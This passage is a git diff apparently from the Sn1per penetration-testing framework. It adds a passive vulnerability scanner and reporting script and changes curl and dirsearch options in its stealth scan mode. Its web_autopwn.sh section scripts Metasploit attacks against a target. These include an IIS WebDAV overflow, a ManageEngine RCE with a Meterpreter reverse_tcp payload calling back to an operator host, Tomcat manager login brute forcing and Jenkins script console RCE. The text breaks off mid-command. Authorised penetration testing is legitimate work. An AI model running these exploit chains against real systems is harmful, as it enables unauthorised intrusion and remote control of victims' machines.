| sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: https://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-https-$OUTPUT_NAME.txt" 2> /dev/null + else + cat $FILENAME | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS >/tmp/match.out && echo "[+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/ /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out) (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - URL: http://$TARGET:$PORT/$URI - EVIDENCE: $(head -n 1 /tmp/match.out | sed -r "s/> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-http-$OUTPUT_NAME.txt" 2> /dev/null + fi + fi + rm -f /tmp/match.out 2> /dev/null + done \ No newline at end of file diff --git a/modes/sc0pe.sh b/modes/sc0pe.sh new file mode 100644 index 0000000..d2e4747 --- /dev/null +++ b/modes/sc0pe.sh @@ -0,0 +1,24 @@ + echo "====================================================================================" | tee $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + CRITICAL_VULNS=$(egrep CRITICAL $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l) + HIGH_VULNS=$(egrep HIGH $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l) + MEDIUM_VULNS=$(egrep MEDIUM $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l) + LOW_VULNS=$(egrep LOW $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l) + INFO_VULNS=$(egrep INFO $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | wc -l) + VULN_SCORE=$(($CRITICAL_VULNS*5+$HIGH_VULNS*4+$MEDIUM_VULNS*3+$LOW_VULNS*2+$INFO_VULNS*1)) + echo "•?((¯°·..• Sc0pe Vulnerability Report by @xer0dayz •._.·°¯))؟• " | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "Critical: $CRITICAL_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "High: $HIGH_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "Medium: $MEDIUM_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "Low: $LOW_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "Info: $INFO_VULNS" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "Score: $VULN_SCORE" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "$VULN_SCORE" 2> /dev/null > $LOOT_DIR/vulnerabilities/vulnerability-risk-$TARGET.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + egrep -h CRITICAL $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + egrep -h HIGH $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + egrep -h MEDIUM $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + egrep -h LOW $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + egrep -h INFO $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-*.txt 2> /dev/null | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + echo "====================================================================================" | tee -a $LOOT_DIR/vulnerabilities/vulnerability-report-$TARGET.txt 2> /dev/null + \ No newline at end of file diff --git a/modes/stealth.sh b/modes/stealth.sh index 55202b7..05870b7 100644 --- a/modes/stealth.sh +++ b/modes/stealth.sh @@ -174,9 +174,9 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null$RESET" fi wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 -s -R -L http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS http://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port80.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 -s -R -L --insecure http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS http://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port80.txt 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -247,7 +247,12 @@ if [[ "$MODE" = "stealth" ]]; then curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null echo " " fi - + if [[ "$GUA" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED FETCHING GUA URLS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + gua2 -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null + fi if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET" @@ -263,6 +268,7 @@ if [[ "$MODE" = "stealth" ]]; then cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null sed -ir "s//dev/null mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null @@ -280,12 +286,12 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$VERBOSE" == "1" ]]; then - echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET" + echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,500,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET" fi if [[ "$DIRSEARCH" == "1" ]]; then touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null @@ -319,6 +325,14 @@ if [[ "$MODE" = "stealth" ]]; then cd $LOOT_DIR python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80 fi + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE PASSIVE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + SSL="false" + source $INSTALL_DIR/modes/sc0pe-passive-scan.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + fi fi if [[ -z "$port_443" ]]; @@ -335,9 +349,9 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null$RESET" fi wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 -s -R -L https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS https://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port443.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 -s -R -L --insecure https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null + curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS https://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port443.txt 2> /dev/null echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -408,6 +422,12 @@ if [[ "$MODE" = "stealth" ]]; then curl -sX GET "http://api.hackertarget.com/pagelinks/?q=https://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-https-$TARGET.txt 2> /dev/null echo " " fi + if [[ "$GUA" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED FETCHING GUA URLS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + gua2 -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null + fi if [[ "$BLACKWIDOW" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET" @@ -423,6 +443,7 @@ if [[ "$MODE" = "stealth" ]]; then cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null sed -ir "s//dev/null sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null @@ -439,12 +460,12 @@ if [[ "$MODE" = "stealth" ]]; then echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$VERBOSE" == "1" ]]; then - echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET" + echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,500,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET" fi if [[ "$DIRSEARCH" == "1" ]]; then touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET -w $WEB_BRUTE_STEALTH -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null @@ -499,7 +520,18 @@ if [[ "$MODE" = "stealth" ]]; then python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium https://$TARGET:443 fi echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE PASSIVE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + SSL="false" + source $INSTALL_DIR/modes/sc0pe-passive-scan.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + fi fi + + source modes/sc0pe.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -526,6 +558,7 @@ if [[ "$MODE" = "stealth" ]]; then mv $LOOT_DIR/scans/running-$TARGET-stealth.txt $LOOT_DIR/scans/finished-$TARGET-stealth.txt 2> /dev/null rm -f $INSTALL_DIR/.fuse_* 2> /dev/null sort -u $LOOT_DIR/ips/ips-all-unsorted.txt 2> /dev/null > $LOOT_DIR/ips/ips-all-sorted.txt 2> /dev/null + if [[ "$LOOT" = "1" ]]; then loot fi diff --git a/modes/vulnscan.sh b/modes/vulnscan.sh index 350a02f..6be7290 100644 --- a/modes/vulnscan.sh +++ b/modes/vulnscan.sh @@ -91,8 +91,9 @@ if [[ "$MODE" = "vulnscan" ]]; then omp -h $OPENVAS_HOST -p $OPENVAS_PORT -u $OPENVAS_USERNAME -w $OPENVAS_PASSWORD -G | grep $TARGET fi fi + source modes/sc0pe.sh echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - echo -e "$OKRED DONE $RESET" + echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt mv $LOOT_DIR/scans/running-$TARGET-vulnscan.txt $LOOT_DIR/scans/finished-$TARGET-vulnscan.txt 2> /dev/null diff --git a/modes/web_autopwn.sh b/modes/web_autopwn.sh index fedd379..1b7d371 100644 --- a/modes/web_autopwn.sh +++ b/modes/web_autopwn.sh @@ -1,241 +1,245 @@ - if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then - /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" - echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per webpwn scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt + + if [[ "$MSF_LEGACY_WEB_EXPLOITS" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING JBOSS VULN SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/jboss_vulnscan; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jboss_vulnscan.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING HTTP PUT UPLOAD SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/http_put; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set PATH /uploads/; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-http_put.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; use scanner/http/webdav_website_content; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-webdav_website_content.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING MICROSOFT IIS WEBDAV ScStoragePathFromUrl OVERFLOW $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-iis_webdav_scstoragepathfromurl.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING MANAGEENGINE DESKTOP CENTRAL RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use exploit/windows/http/manageengine_connectionid_write; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; set PAYLOAD windows/meterpreter/reverse_tcp; setg LHOST "$MSF_LHOST"; setg LPORT "$MSF_LPORT"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-manageengine_connectionid_write.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE TOMCAT ENUMERATION $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/tomcat_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_enum.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING APACHE TOMCAT MANAGER LOGIN BRUTEFORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-tomcat_mgr_login.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING JENKINS ENUMERATION $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use scanner/http/jenkins_enum; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL "$SSL"; run; set TARGETURI /; run; exit;" | tee $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw > $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.txt 2> /dev/null + rm -f $LOOT_DIR/output/msf-$TARGET-port$PORT-jenkins_enum.raw 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING JENKINS SCRIPT CONSOLE RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + msfconsole -q -x "use multi/http/jenkins_script_console; setg RHOST 